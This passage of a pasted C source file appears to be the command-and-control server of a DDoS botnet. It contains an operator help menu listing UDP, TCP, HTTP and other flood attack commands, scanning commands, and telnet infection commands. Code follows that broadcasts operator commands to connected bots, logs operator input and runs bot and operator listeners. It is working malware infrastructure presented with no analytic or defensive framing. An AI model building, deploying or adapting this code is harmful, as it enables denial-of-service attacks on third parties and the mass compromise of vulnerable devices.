  698. char helpline18 [80];
  699. char helpline19 [80];
  700. char helpline20 [80];
  701. char helpline21 [80];
  702. char helpline22 [80];
  703. char helpline23 [80];
  704. char helpline24 [80];
  705. char helpline25 [80];
  706. char helpline26 [80];
  707.  
  708.  
  709.  
  710. sprintf(helpline1, "\r\n[+] ATTACK COMMANDS [+]\r\n");
  711. sprintf(helpline2, "[-] UDP - !* UDP IP Port Time 32 0 10\r\n");
  712. sprintf(helpline3, "[-] TCP - !* TCP IP Port Time 32 all 0 10\r\n");
  713. sprintf(helpline4, "[-] STD - !* STD IP Port Time\r\n");
  714. sprintf(helpline5, "[-] JUNK - !* JUNK IP Port Time\r\n");
  715. sprintf(helpline6, "[-] HOLD - !* HOLD IP Port Time\r\n");
  716. sprintf(helpline7, "[-] HTTP - !* HTTP Url Time\r\n");
  717. sprintf(helpline8, "[-] KILL - !* KILLATTK | KILL\r\n");
  718.  
  719. sprintf(helpline9, "[+] SCANNING COMMANDS [+]\r\n");
  720. sprintf(helpline10, "[-] LOAD - LOAD\r\n");
  721. sprintf(helpline11, "[-] SCAN - SCAN1 | SCAN2 | SCAN3 | SCAN4 | SCAN5\r\n");
  722. sprintf(helpline12, "[-] SCAN - SCAN6 | SCAN7 | SCAN8 | SCAN9 | SCAN10\r\n");
  723. sprintf(helpline13, "[-] LUCKY - LUCKY | LUCKY2\r\n");
  724. sprintf(helpline14, "[-] STOP - SCAN_OFF\r\n");
  725.  
  726. sprintf(helpline15, "[+] GENERAL COMMANDS [+]\r\n");
  727. sprintf(helpline16, "[-] SHELL - !* SH\r\n");
  728. sprintf(helpline17, "[-] BOTS - !* BOTS | BOTS\r\n");
  729. sprintf(helpline18, "[-] STATUS - !* STATUS | STATUS\r\n");
  730. sprintf(helpline19, "[-] STATS - STATS\r\n");
  731.  
  732. sprintf(helpline20, "[+] MISC COMMANDS [+]\r\n");
  733. sprintf(helpline21, "[-] ATTACK_GUI - ATTACK");
  734. sprintf(helpline22, "[-] INECTION FILTER - FILTER\r\n");
  735. sprintf(helpline23, "[-] TELNET INFECT - INFECT\r\n");
  736. sprintf(helpline24, "[-] REINFECT BOTS - REINFECT\r\n");
  737. sprintf(helpline25, "[-] CLEARSCREEN - CLEAR\r\n");
  738. sprintf(helpline26, "[-] LOGOUT - LOGOUT\r\n");
  739.  
  740.  
  741.  
  742. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  743. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  744. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  745. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  746. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  747. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  748. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  749. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  750. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  751. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  752. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  753. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  754. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  755. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  756. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  757. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  758. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  759. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  760. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  761. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  762. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  763. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  764. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  765. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  766. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  767. if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  768. pthread_create(&title, NULL, &TitleWriter, sock);
  769. continue;
  770. }
  771. if(strstr(buf, "KILL"))
  772. {
  773. char killattack [2048];
  774. memset(killattack, 0, 2048);
  775. char killattack_msg [2048];
  776.  
  777. sprintf(killattack, "!* KILLATTK\r\n");
  778. broadcast(killattack, datafd, "KILL THAT SHIT");
  779. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  780.  
  781. sprintf(killattack_msg, "Attack Killed!\r\n");
  782. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  783. continue;
  784. }
  785. if(strstr(buf, "CLEAR"))
  786. {
  787. char clearscreen [2048];
  788. memset(clearscreen, 0, 2048);
  789. sprintf(clearscreen, "\033[2J\033[1;1H");
  790. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  791. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  792. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  793. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  794. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  795. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  796. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  797. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  798. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  799. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  800. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  801. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  802. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  803. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  804. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  805. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  806. while(1) {
  807. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  808. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  809. break;
  810. }
  811. continue;
  812. }
  813. if(strstr(buf, "LOGOUT"))
  814. {
  815. char logoutmessage [2048];
  816. memset(logoutmessage, 0, 2048);
  817. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  818. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  819. sleep(5);
  820. goto end;
  821. }
  822. trim(buf);
  823. if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  824. if(strlen(buf) == 0) continue;
  825. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  826.  
  827. FILE *LogFile;
  828. LogFile = fopen("server_log.txt", "a");
  829. time_t now;
  830. struct tm *gmt;
  831. char formatted_gmt [50];
  832. char lcltime[50];
  833. now = time(NULL);
  834. gmt = gmtime(&now);
  835. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  836. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  837. fclose(LogFile);
  838. broadcast(buf, datafd, accounts[find_line].username);
  839. memset(buf, 0, 2048);
  840. }
  841. end:
  842. managements[datafd].connected = 0;
  843. close(datafd);
  844. OperatorsConnected--;
  845. }
  846. void *BotListener(int port) {
  847. int sockfd, newsockfd;
  848. socklen_t clilen;
  849. struct sockaddr_in serv_addr, cli_addr;
  850. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  851. if (sockfd < 0) perror("ERROR opening socket");
  852. bzero((char *) &serv_addr, sizeof(serv_addr));
  853. serv_addr.sin_family = AF_INET;
  854. serv_addr.sin_addr.s_addr = INADDR_ANY;
  855. serv_addr.sin_port = htons(port);
  856. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  857. listen(sockfd,5);
  858. clilen = sizeof(cli_addr);
  859. while(1) {
  860. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  861. if (newsockfd < 0) perror("ERROR on accept");
  862. pthread_t thread;
  863. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  864. }}
  865. int main (int argc, char *argv[], void *sock)//~B1NARY~
  866. {
  867. signal(SIGPIPE, SIG_IGN);
  868. int s, threads, port;
  869. struct epoll_event event;
  870. if (argc != 4) {
  871. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  872. exit (EXIT_FAILURE);
  873. }
  874. port = atoi(argv[3]);
  875. telFD = fopen("telnet.txt", "a+");
  876. threads = atoi(argv[2]);
  877. listenFD = create_and_bind (argv[1]);
  878. if (listenFD == -1) abort ();
  879. s = make_socket_non_blocking (listenFD);
  880. if (s == -1) abort ();
  881. s = listen (listenFD, SOMAXCONN);
  882. if (s == -1) {
  883. perror ("listen");
  884. abort ();
  885. }
  886. epollFD = epoll_create1 (0);
  887. if (epollFD == -1) {
  888. perror ("epoll_create");
  889. abort ();
  890. }
  891. event.data.fd = listenFD;
  892. event.events = EPOLLIN | EPOLLET;
  893. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  894. if (s == -1) {
  895. perror ("epoll_ctl");
  896. abort ();
  897. }
  898. pthread_t thread[threads + 2];
  899. while(threads--) {
  900. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  901. }
  902. pthread_create(&thread[0], NULL, &BotListener, port);
  903. while(1) {
  904. broadcast("PING", -1, "LEL");
  905. sleep(60);
  906. }
  907. close (listenFD);
  908. return EXIT_SUCCESS;
  909. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement